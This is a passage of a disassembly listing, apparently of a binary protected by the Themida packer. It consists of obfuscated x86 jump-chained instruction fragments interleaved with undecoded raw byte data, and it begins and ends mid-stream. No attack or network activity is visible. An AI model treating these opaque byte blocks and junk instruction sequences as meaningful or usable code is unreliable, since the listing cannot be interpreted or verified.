		dd 2474FF24h, 0BBDCE904h, 815B0000h, 0F07235C7h, 44EB81FDh
		dd 1055004h, 44BF57FBh,	1055004h, 3C8B5FFBh, 4C48324h
		dd 2474FF53h, 241C8B04h, 0FFD9C6E9h, 1E980FFh, 8017B252h
		dd 0E2C01CE2h, 71CA8008h, 239DE9h, 4C38100h, 33000000h
		dd 1C31241Ch, 0A76EE924h, 0C4810000h, 4, 63BA5250h, 0E90DD010h
		dd 0FFFFF664h, 405h, 40500h, 0FF500000h, 58042474h, 5C24048Fh
		dd 83242C8Bh, 0E95704C4h, 886Ch
; ---------------------------------------------------------------------------


loc_565FB8:				; CODE XREF: Themida_:0055E7C0j
		not	dword ptr [esp]
		pop	esi
		push	ecx
		push	2FB8h
		mov	[esp], ebx
		mov	ebx, 25EC01F7h
		mov	ecx, 6CFD655Ah
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	esi, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55F104
; ---------------------------------------------------------------------------
aZpqsp@		db 'ZPQИ▐@',0
		dw 0AC00h
		dd 0B2523F04h, 4E2C0E0h, 0EA80C2FEh, 53F280FAh,	525AD028h
		dd 0C28016B2h, 28A20432h, 0C0B6E9D0h, 0C481FFFFh, 4, 8258E9h
		dd 0CF46800h, 1C890000h, 6C206824h, 1C8B05E2h, 4C48124h
		dd 53000000h, 5B2414F7h, 0DEBF5743h, 81FA1D93h,	6A75B4EBh
		dd 81FB2909h, 6A75B4C3h, 0D9015F09h, 240C875Bh,	6624248Bh
		dd 2404A30Fh, 728BE99Ch, 34FFFFFFh, 0C5E95E24h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56606B:				; CODE XREF: Themida_:0056894Cj
		push	ebx
		push	570848F8h
		pop	ebx
		dec	ebx
		not	ebx
		shl	ebx, 5
		sub	ebx, 17E1762Dh
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 482308AFh
		xor	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 0AAD3635h
		neg	esi
		inc	esi
		add	esi, 4A741AD2h
		jmp	loc_55E303
; ---------------------------------------------------------------------------
		db 54h
		dd 0BD55535Ah, 5BDA47A6h, 2C8BEB89h, 0D15FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5660B6:				; CODE XREF: Themida_:00560702j
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_57063B
; ---------------------------------------------------------------------------
		db 5
		dd 5E5672BEh, 83241C8Bh, 0DC6804C4h, 0E9000002h, 0A6D4h
		dd 672BBE56h, 0F53104EAh, 3EB5E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5660EE:				; CODE XREF: Themida_:0056DDCAj
		pop	esp
		not	ebp
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		not	ebx
		jmp	loc_56064D
; ---------------------------------------------------------------------------


loc_5660FE:				; CODE XREF: Themida_:00561705j
		mov	ecx, 27D8740Ch
		jmp	loc_571CA7
; ---------------------------------------------------------------------------


loc_566108:				; CODE XREF: Themida_:0056E002j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6DDAh
		mov	[esp], edi
		push	4EEEh
		push	45Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E978
; ---------------------------------------------------------------------------


loc_56613F:				; CODE XREF: Themida_:00560EB2j
		push	esi
		jmp	loc_5616EC
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 8Bh
		dd 0FFFFFFCFh, 90E92434h, 0C1FFFFB5h, 0C38102EBh, 34D77EEAh
		dd 5448E9h
		db 0
; ---------------------------------------------------------------------------


loc_566161:				; CODE XREF: Themida_:0055ECD3j
		mov	[esp], ecx
		mov	ecx, 0
		push	esi
		mov	esi, 1C4A60F9h
		shr	esi, 3
		add	esi, 68576107h
		jmp	loc_56306B
; ---------------------------------------------------------------------------
		db 89h,	0DDh, 5Bh
		dd 0D5F7E5D1h, 0C581DDF7h, 617A59B9h, 5604EDC1h, 55755BEh
		dd 0BD554609h, 0EA8162CEh, 0AE33E9h, 0C8B6600h,	9A3EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5661AA:				; CODE XREF: Themida_:0056AE81j
		mov	eax, [esp]
		jmp	loc_571B62
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 0E0E902C0h, 1000074h, 57095FFAh, 2434FF1Ch
		dd 0E954565Ah, 0FFFF7289h
; ---------------------------------------------------------------------------


loc_5661D0:				; CODE XREF: Themida_:0056A0DDj
		sub	esp, 4
		jmp	loc_566EA9
; ---------------------------------------------------------------------------


loc_5661D8:				; CODE XREF: Themida_:0056AF3Dj
		shl	edi, 1
		dec	edi
		shl	edi, 1
		and	edi, 0A4C388Bh
		sub	edi, 0C1806h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	7F1Dh
		mov	[esp], eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_560256
; ---------------------------------------------------------------------------
		dd 6804C483h, 3B08h, 0E9240489h, 3B21h
; ---------------------------------------------------------------------------


loc_566224:				; CODE XREF: Themida_:0056D399j
		or	cl, 74h
		neg	cl
		dec	cl
		jmp	loc_561CF8
; ---------------------------------------------------------------------------
		dd 0FAC6805Ah, 2210E9h
		db 0
; ---------------------------------------------------------------------------


loc_566239:				; CODE XREF: Themida_:0056C712j
		mov	edx, 24h
		jmp	loc_560963
; ---------------------------------------------------------------------------


loc_566243:				; CODE XREF: Themida_:00560409j
		sub	eax, 4A9527BBh
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 33C067Fh
		add	eax, ebp
		sub	eax, 33C067Fh
		push	dword ptr [esp]
		jmp	loc_56B99E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 242C8B24h, 4C481h, 0C4810000h, 4, 582434FFh,	0FFFF97E9h
		dd 0EE0159FFh, 3AEF685Dh, 0C890000h, 438A6824h,	1C890000h
		dd 0C0E8E924h, 0DAF7FFFFh, 75BAEA81h, 21E93363h, 56000045h
		dd 0DE48F5BEh, 81D6F766h, 2008CCEEh, 0BCB0E926h, 0EF810000h
		dd 534901BEh, 9DD3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5662C1:				; CODE XREF: Themida_:00565E77j
		push	edx
		push	eax
		mov	al, cl
		mov	dh, al
		pop	eax
		jmp	loc_57292D
; ---------------------------------------------------------------------------


loc_5662CD:				; CODE XREF: Themida_:00571099j
		sub	eax, 9618C076h
		sub	edx, eax
		pop	eax
		sub	ecx, 30245DD1h
		add	ecx, edx
		jmp	loc_55EE72
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0E904C483h, 0FFFFB959h, 815F5457h, 4C7h
		dd 4BE5600h, 29000000h,	3C875EF7h, 2C895C24h, 81C58924h
		dd 4ECh, 8DDAE900h, 58BE0000h, 211E441Ah, 24348BF3h, 0FF812AE9h
		dd 0E9028FFFh, 0FFFF6FC1h, 243C875Eh, 240C895Ch, 2B9h
		dd 12D8E900h, 0E9810000h, 2EC36A97h, 0D012E95Fh, 1C89FFFFh
		dd 2216824h, 14890000h,	1F69BA24h, 0A4E92867h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56635F:				; CODE XREF: Themida_:00561085j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5692CD
; ---------------------------------------------------------------------------
		dw 12BEh
		dd 8144C876h, 0FF507BEEh, 27ECE90Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56637A:				; CODE XREF: Themida_:0055F386j
		pop	esi
		pop	edi
		pop	edi
		inc	esi
		push	edx
		mov	edx, 5E2B79BDh
		sub	esi, 372562Ch
		add	esi, edx
		add	esi, 372562Ch
		pop	edx
		jmp	loc_5638F5
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 184Dh
; ---------------------------------------------------------------------------


loc_5663A0:				; CODE XREF: Themida_:0055DD65j
		pop	edx
		xor	edx, 3DC45BEEh
		add	edx, 0DC160155h
		mov	edi, edx
		pop	edx
		xor	esi, edi
		pop	edi
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56440B
; ---------------------------------------------------------------------------
		dd 0E3C18159h, 5D72D76Fh, 1612BB53h, 0DBF712C0h, 0FFAF19E9h
		dd 8FCB81FFh, 0E929C501h, 337Fh, 8704E983h, 685C240Ch
		dd 743Eh, 0E9242489h, 0FFFFE958h, 5668E289h, 89000029h
		dd 4BB241Ch, 1000000h, 0C2815BDAh, 4, 5C241487h, 31241433h
		dd 14332414h, 8EA6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56641E:				; CODE XREF: Themida_:00567DE9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 224622Fh
		add	eax, 6FB138B9h
		or	eax, 120D550Fh
		neg	eax
		xor	eax, 8C222015h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55FE8E
; ---------------------------------------------------------------------------
		db 83h
		dd 24E904C4h, 5D000063h, 1C8BDF89h, 4C48324h, 0E95FFB01h
		dd 0FFFF71B5h, 4B8h, 0E793E900h, 14F7FFFFh, 0C5815D24h
		dd 6138532Bh, 485B8405h, 0E9E80112h, 6B60h
; ---------------------------------------------------------------------------


loc_56648C:				; CODE XREF: Themida_:00568B80j
		mov	edi, 1Ch
		jmp	loc_56EDAF
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 4EE95C24h, 5DFFFF6Eh, 700AF681h, 0C6815F18h,	0F7CBE5FAh
		dd 815EF701h, 0CA74BEEFh, 6498E966h, 15B0000h, 4875BD8h
		dd 7E42E924h, 0D3890000h, 0A0F3815Ah, 686E1741h, 2E38h
		dd 50243C89h, 6A2DBD55h, 0E88931F5h, 0E9C7895Dh, 0FFFFF581h
		dd 10D3F781h, 0EFC159F6h, 4BC78104h, 1F20A55h, 1C875FFBh
		dd 48F5C24h, 24248B24h,	0FF835CE9h, 4C483FFh, 31242C33h
		dd 2C33242Ch, 24248B24h, 8B2434FFh, 0C4812404h,	4, 22E868h
		dd 24348900h, 8904EC83h, 4812424h, 424h, 49E95E00h, 83000038h
		dd 0B2E904C4h, 52000046h, 42474FFh, 8324148Bh, 48F04C4h
		dd 0D3665C24h, 0E99C2404h, 0FFFF6D8Dh, 8B241487h, 14872424h
		dd 24248B24h, 9C2424D2h, 0FF6D78E9h, 0F3CA81FFh, 811AEA55h
		dd 4ECh, 24348900h, 100B49BEh, 0A2AE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56658E:				; CODE XREF: Themida_:0056B371j
		add	ebp, 4
		jmp	loc_55E6FF
; ---------------------------------------------------------------------------


loc_566599:				; CODE XREF: Themida_:005698C1j
		shr	ecx, 2
		jmp	loc_55FE52
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 5541796Eh, 0FFA6D9E9h, 241C89FFh, 0EE39FA68h, 0E3C15B72h
		dd 0DBF74B07h, 2AB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5665C1:				; CODE XREF: Themida_:00566D02j
		mov	eax, 34DE0B98h
		shl	eax, 7
		and	eax, 58E2527Ah
		xor	eax, 7C2175Bh
		add	ebx, eax
		pop	eax
		push	ecx
		push	edx
		mov	edx, 75B55A68h
		and	edx, 7DA85183h
		add	edx, 0FDD9F263h
		mov	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		jmp	loc_563D6E
; ---------------------------------------------------------------------------
		dd 0BE243489h, 57CC7A92h, 0FFD3BEE9h, 46EA81FFh, 81EDA7FDh
		dd 817556C3h, 6EEB8103h, 0E954AC63h, 0FFFFF043h
; ---------------------------------------------------------------------------


loc_566618:				; CODE XREF: Themida_:00563FAEj
		add	eax, ebp
		jmp	loc_564523
; ---------------------------------------------------------------------------


loc_56661F:				; CODE XREF: Themida_:0056B1EFj
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 24h
		add	esi, 741045EFh
		add	esi, ecx
		push	eax
		mov	eax, 741045EFh
		push	eax
		mov	eax, 607B568Ch
		sub	esi, eax
		pop	eax
		push	5581h
		mov	[esp], ebx
		jmp	loc_55FA8A
; ---------------------------------------------------------------------------
		dd 0D8006B04h, 62E96B2Ch
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56665B:				; CODE XREF: Themida_:00564400j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	7BF5h
		jmp	loc_560481
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 4B85024h,	81000000h, 42425CEAh, 81C2017Dh
		dd 42425CC2h, 24048B7Dh, 40F368h, 24348900h, 0C681E689h
		dd 4, 4C681h, 34870000h, 5EEAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5666A6:				; CODE XREF: Themida_:00563607j
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_563808
; ---------------------------------------------------------------------------
		db 52h
		dd 0F90960BAh, 6EAC16Dh, 8108E2C1h, 0FA52BACAh,	77EA814Fh
		dd 1F0D43Ch, 0F6815AD6h, 5BDE18A2h, 0B0F68146h,	4E2B515Bh
		dd 36DE68h, 242C8900h, 0FF9540E9h, 0FFE328FFh
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 3E971D2h
		jmp	loc_56DF8B
; ---------------------------------------------------------------------------
		db 81h
		dd 697F01C5h, 0C5814D78h, 73635F8Fh, 8164F581h,	792D2759h
		dd 177B56Fh, 42DFE9E8h,	8B660000h, 89532404h, 0BB5351E3h
		dd 5AAA3C9Ch, 0FF70D1E9h, 0BA5251FFh, 7E8F31C2h, 315A5952h
		dd 9DE959CAh, 890000A5h, 30BA2414h, 0F71FC221h,	0E9424ADAh
		dd 8E1Dh
; ---------------------------------------------------------------------------


loc_566758:				; CODE XREF: Themida_:005711FFj
		add	ecx, 75023084h
		add	ecx, ebx
		sub	ecx, 75023084h
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55E2BF
; ---------------------------------------------------------------------------


loc_56676F:				; CODE XREF: Themida_:00569AFDj
		push	ebx
		push	esp
		jmp	loc_571BA0
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 6B6FE940h, 0E0C1FFFFh, 260E0D06h, 722554A4h,	0C1341D09h
		dd 4B2502E0h, 5697054h,	15225916h, 48BC789h, 4C48324h
		dd 0AFE9FE89h, 8B000062h, 0C4832404h, 58C28904h, 0FFD0895Dh
		dd 89E92434h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667BB:				; CODE XREF: Themida_:00560904j
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_56EA65
; ---------------------------------------------------------------------------
		db 0B6h, 0Eh, 80h
		dd 0B72CE8EEh, 5366F028h, 784468h, 24148900h, 0F388B7B6h
		dd 8124148Bh, 4C4h, 51526600h, 0E98057B1h, 9459E9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5667FA:				; CODE XREF: Themida_:005602C5j
		and	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_567DC3
; ---------------------------------------------------------------------------
		dd 1AA1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56680E:				; CODE XREF: Themida_:00564F80j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_566F1A
; ---------------------------------------------------------------------------


loc_566826:				; CODE XREF: Themida_:00571F50j
		add	ebx, 3CA826DAh
		jmp	loc_56FCD0
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FFE7ADE9h, 81FA29FFh, 0AF1363EAh, 14875F41h, 9CE95C24h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56684B:				; CODE XREF: Themida_:005727C0j
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56F465
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2434FFh, 0E9582434h, 0FFFFCF47h
; ---------------------------------------------------------------------------


loc_566864:				; CODE XREF: Themida_:0056C65Bj
		xor	ebx, 462A3686h
		not	ebx
		xor	ebx, 758D3FDFh
		sub	ebx, 0D569AE9Ah
		push	ebx
		xor	dword ptr [esp], 4AD17924h
		pop	edi
		xor	edi, 4AD17924h
		pop	ebx
		jmp	loc_571276
; ---------------------------------------------------------------------------
		db 0B1h, 0ACh, 0E9h
		dd 0FFFFEC7Ah, 28A4C780h, 0A4EF80CFh, 0FFEBE951h, 4768FFFFh
		dd 89000045h, 4812424h,	424h, 55505E00h, 0BB8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5668B9:				; CODE XREF: Themida_:005637D0j
		push	edx
		mov	edx, esp
		jmp	loc_56EC49
; ---------------------------------------------------------------------------
		db 28h,	0E3h, 8Bh
		dd 0C4812404h, 4, 0FFFD7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5668D1:				; CODE XREF: Themida_:0056E15Aj
		add	eax, ecx
		pop	ecx
		push	2770h
		jmp	loc_55E0E9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 54241489h, 0E957555Ah, 4A82h,	0C0ADED80h
		dd 0F58008EDh, 59EB8832h, 50F9F380h, 0FFBFF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566909:				; CODE XREF: Themida_:0056E674j
		shr	edx, 4
		add	edx, 574738B5h
		sub	edx, 70E661CFh
		dec	edx
		jmp	loc_55E1E3
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0F54B72D4h, 0FF82F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566929:				; CODE XREF: Themida_:00569EBAj
		pop	eax
		jmp	loc_55D534
; ---------------------------------------------------------------------------


loc_56692F:				; CODE XREF: Themida_:005649EBj
		mov	ebx, 64CC233Eh
		jmp	loc_571930
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 60h
		dd 0C1589E0Eh, 0ED8105E5h, 0A9A5A34Ah, 685DE829h, 4C4Bh
		dd 53243489h, 5E04AA68h, 0E94B5B3Bh, 900Ch
; ---------------------------------------------------------------------------


loc_566960:				; CODE XREF: Themida_:00567DD3j
		mov	[esp], edi
		push	ebx
		jmp	loc_5609A8
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 429665Ch, 76E99C24h,	5AFFFF69h, 8119E9h, 283EB500h
		dd 24048BE5h, 3AD0E952h, 81410000h, 4E2738E1h, 0F2C1816Ch
		dd 81C07135h, 0B259FBEDh, 53CD0136h, 6F0844BBh,	5EBC15Fh
		dd 1A84E9h
		db 0
; ---------------------------------------------------------------------------


loc_5669AD:				; CODE XREF: Themida_:005713EFj
		push	0FFFFFFFFh
		jmp	loc_5719C7
; ---------------------------------------------------------------------------


loc_5669B7:				; CODE XREF: Themida_:00565ACBj
		neg	edi
		jmp	loc_56F8A6
; ---------------------------------------------------------------------------
aRZjxSD		db 'R╨┤jX&И;└',0
		dd 0D6BF5700h, 891B78FAh, 0B16BE9FBh, 0E9560000h, 0FFFFE3C0h
		dd 6055055Fh, 0EC814C6Dh, 4, 0BB241C89h, 41334503h, 5672BE2Dh
		dd 0E5BA525Eh, 2976F011h, 0D8295AD0h, 0F011E505h, 0F6C1E976h
		dd 48BFFFFh, 4C48124h, 0FF000000h, 3BE92434h, 0ADFFFFD4h
		dd 0DA68D831h, 8900003Fh, 0A5BD242Ch, 514A55Eh,	23582384h
		dd 849EE956h, 3E050000h, 50B9700Fh, 5E125B68h, 24048B00h
		dd 2904C483h, 533DE9C2h, 0E9800000h, 59C88812h,	0E0C0C8FEh
		dd 0B2526606h, 66D0285Ah, 52D0F65Ah, 0C28054B2h, 8EAC069h
		dd 30DEE9h, 0C3EF8100h,	29CC9FF6h, 33595FF8h, 4312404h
		dd 900DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566A86:				; CODE XREF: Themida_:0055E988j
		pop	edi
		jmp	loc_56B3B1
; ---------------------------------------------------------------------------
		dd 57C8BF0Fh, 0C7815F54h, 4, 4EF81h, 3C870000h,	0C895C24h
		dd 32C5E924h, 0EE830000h, 2FDDE904h, 8B660000h,	4E682404h
		dd 89000046h, 0EC812414h, 4, 51242489h,	5030E9h, 6E2C000h
		dd 0A3DE953h, 83680000h, 8900007Eh, 4812424h, 424h, 4916E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566AEA:				; CODE XREF: Themida_:00570D01j
		push	eax
		jmp	loc_5613D2
; ---------------------------------------------------------------------------
		dd 0FDE9E089h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566AF7:				; CODE XREF: Themida_:0056DF30j
		pop	esi
		xor	ebp, edi
		push	dword ptr [esp]
		jmp	loc_56CF90
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2C3D4292h, 8102E1C1h, 0DF5A1EC9h, 0B6E9811Bh, 0E97B2264h
		dd 0FFFF9CA4h, 2434FF54h, 2308E95Bh, 0C2E90000h, 88FFFF67h
		dd 24048BE3h, 5204C483h, 88D88850h, 0D48858C2h,	2434FF5Ah
		dd 83241C8Bh, 0C48304C4h, 58E78804h, 9EDBE9h
		db 0
; ---------------------------------------------------------------------------


loc_566B51:				; CODE XREF: Themida_:0056D47Dj
		pop	ebx
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56EF27
; ---------------------------------------------------------------------------


loc_566B66:				; CODE XREF: Themida_:00568B29j
		mov	ecx, 6E852CC4h
		mov	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		xor	ebp, eax
		jmp	loc_563DC3
; ---------------------------------------------------------------------------


loc_566B78:				; CODE XREF: Themida_:0056064Fj
		push	ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_56513F
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0AA1315BFh, 5FF8296Dh, 30AF6856h, 0E95E1101h, 0FFFF76F7h
		dd 6ABA525Fh, 81141B8Eh, 0D650F2C7h, 23C78104h,	297D9061h
		dd 23EF81D7h, 817D9061h, 0D650F2EFh, 81575A04h,	6F672434h
		dd 0E95A508Eh, 684Eh, 835BD931h, 0B7E9FFE9h, 81000045h
		dd 0E160A4EAh, 81DA0160h, 0E160A4C2h, 241C8B60h, 8304C483h
		dd 143304C2h, 24143124h, 8B241433h, 49042424h, 0F3E9F800h
		dd 8BFFFF6Bh, 0C4832404h, 0AFC38104h, 1383E0Ch,	4EE957C3h
		dd 5D000085h, 0FFE729E9h, 80CB28FFh, 0AFE985EBh, 0BAFFFFBAh
		dd 4, 59E9D329h, 0FF000044h, 815E2434h,	4ECh, 24348900h
		dd 0BF57E689h, 4, 0FFBFEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566C4D:				; CODE XREF: Themida_:0055F10Cj
		mov	edi, 20912A2h
		xor	edi, 4BC83FB8h
		and	edi, 607E1B64h
		jmp	loc_56973D
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 1C896624h, 0AEBB6624h, 0A623E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566C76:				; CODE XREF: Themida_:00572716j
		add	edi, 10D16526h
		pop	ebp
		movzx	eax, al
		jmp	loc_55FA42
; ---------------------------------------------------------------------------
		db 51h,	87h, 14h
		dd 87D2F724h, 34FF2414h, 89535924h, 4C381E3h, 83000000h
		dd 1C8704C3h, 0E9815C24h, 1, 0C181D1F7h, 6470713Ch, 6E60E9h
		db 0
; ---------------------------------------------------------------------------


loc_566CB5:				; CODE XREF: Themida_:005642AAj
		xor	eax, [esp]
		mov	esp, [esp]
		add	ebx, 4F25E78h
		push	ebp
		jmp	loc_56FBB3
; ---------------------------------------------------------------------------


loc_566CC7:				; CODE XREF: Themida_:005700CEj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_566CCC:				; CODE XREF: Themida_:00565EF0j
		push	eax
		mov	eax, 6F681F11h
		sub	ebx, eax
		pop	eax
		pop	edi
		or	ebx, 43DF15DCh
		sub	ebx, 14570F3Ch
		jmp	loc_568C45
; ---------------------------------------------------------------------------
		db 5Ah
		dd 7D5E6866h, 1FEAE9h, 24248B00h, 0E904C483h, 0B5EBh
; ---------------------------------------------------------------------------


loc_566CFC:				; CODE XREF: Themida_:0056A608j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5665C1
; ---------------------------------------------------------------------------


loc_566D07:				; CODE XREF: Themida_:0055E147j
		xor	ecx, [esp]
		jmp	loc_564D90
; ---------------------------------------------------------------------------
		db 0B8h
		dd 19C9028Ah, 4408BD05h, 8BC2294Fh, 0C4812404h,	4, 3466C281h
		dd 7BE94D24h, 680000BDh, 2314h,	0BB241C89h, 78DC78E9h
		dd 815BD909h, 16278CE9h, 59CE0154h, 0B82CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566D4E:				; CODE XREF: Themida_:0056E792j
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		jmp	loc_570DF4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	74FF241Ch, 1C8B0424h, 4C48324h
		dd 8B24048Fh, 4302424h,	5AE99C24h, 31FFFF65h, 0C0E9240Ch
		dd 0BAFFFF72h, 62023D5Eh, 6230E9h
		db 0
; ---------------------------------------------------------------------------


loc_566DA5:				; CODE XREF: Themida_:00570BE0j
		push	ebp
		mov	ebp, 681A3751h
		jmp	loc_56BED1
; ---------------------------------------------------------------------------
		dd 49FA6850h, 0F75858D4h, 7E8C1D0h, 5CBA3540h, 56352B9Ah
		dd 5156E432h, 35515EB9h, 0E9CB2969h, 40B2h, 80596659h
		dd 0B60FECEBh, 148B66C0h, 0C124E924h, 0E952FFFFh, 6651h
		dd 4C281h, 0C2830000h, 24148704h, 0EDE5E95Ch, 0FAB7FFFFh
		dd 0E95BFE88h, 9604h, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 81242489h, 42404h, 5580000h,	4, 42Dh, 23A5E900h, 8B660000h
		dd 68512404h, 7FF5h, 0FFED25E9h, 20F181FFh, 0E9F6ACBAh
		dd 0B3A1h, 0B128E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566E52:				; CODE XREF: Themida_:00560312j
		mov	bh, 0E7h
		add	bh, 7
		not	bh
		shl	bh, 8
		not	bh
		xor	bh, 9Bh
		mov	dl, 0A3h
		add	dl, 0F5h
		sub	dl, bh
		sub	dl, 0F5h
		mov	ebx, [esp]
		add	esp, 4
		add	al, 27h
		sub	al, dl
		sub	al, 27h
		pop	dx
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edx
		push	4
		pop	edx
		jmp	loc_567E3A
; ---------------------------------------------------------------------------
		db 68h,	6Ch, 74h
		dd 0C1587794h, 1C0507E8h, 89FF10D7h, 0DF0158C3h, 0FFB812E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566EA9:				; CODE XREF: Themida_:005661D3j
		mov	[esp], edi
		push	edx
		mov	edx, 56302FFCh
		jmp	loc_56B6D6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFF5CAh
; ---------------------------------------------------------------------------


loc_566ECC:				; CODE XREF: Themida_:0056318Cj
		sub	ebp, ecx
		jmp	loc_56F43A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 57D6F75Ch, 6221DFBFh, 0ECD2E968h, 405FFFFh
		dd 83000000h, 0FF5004C0h, 58042474h, 5C24048Fh,	31243C33h
		dd 0D2E9243Ch
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F07:				; CODE XREF: Themida_:005634DDj
		sub	dword ptr [esp], 49990C05h
		pop	esi
		add	esi, 49990C05h
		jmp	loc_571E26
; ---------------------------------------------------------------------------


loc_566F1A:				; CODE XREF: Themida_:00566821j
		pop	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_567051
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	0E9542414h, 5A97h, 3302C183h, 0C31240Ch
		dd 240C3324h, 6624248Bh, 2404B30Fh, 639BE99Ch, 52ACFFFFh
		dd 0FFF874E9h, 0EB951FFh, 8144B47Fh, 233C67F1h,	98C98160h
		dd 0D15CEF6Eh, 66E981E9h, 0C165506Ah, 0F18103E9h, 1B25E9B6h
		dd 2C11E9h
		db 0
; ---------------------------------------------------------------------------


loc_566F81:				; CODE XREF: Themida_:00571CF3j
		add	edx, 3182578Dh
		mov	eax, [esp]
		add	esp, 4
		add	edx, 1
		or	edx, 25E12EFCh
		or	edx, 7EB7607Ah
		add	edx, 14D56813h
		push	esi
		mov	esi, 5E701746h
		jmp	loc_563A5A
; ---------------------------------------------------------------------------
		db 0E9h
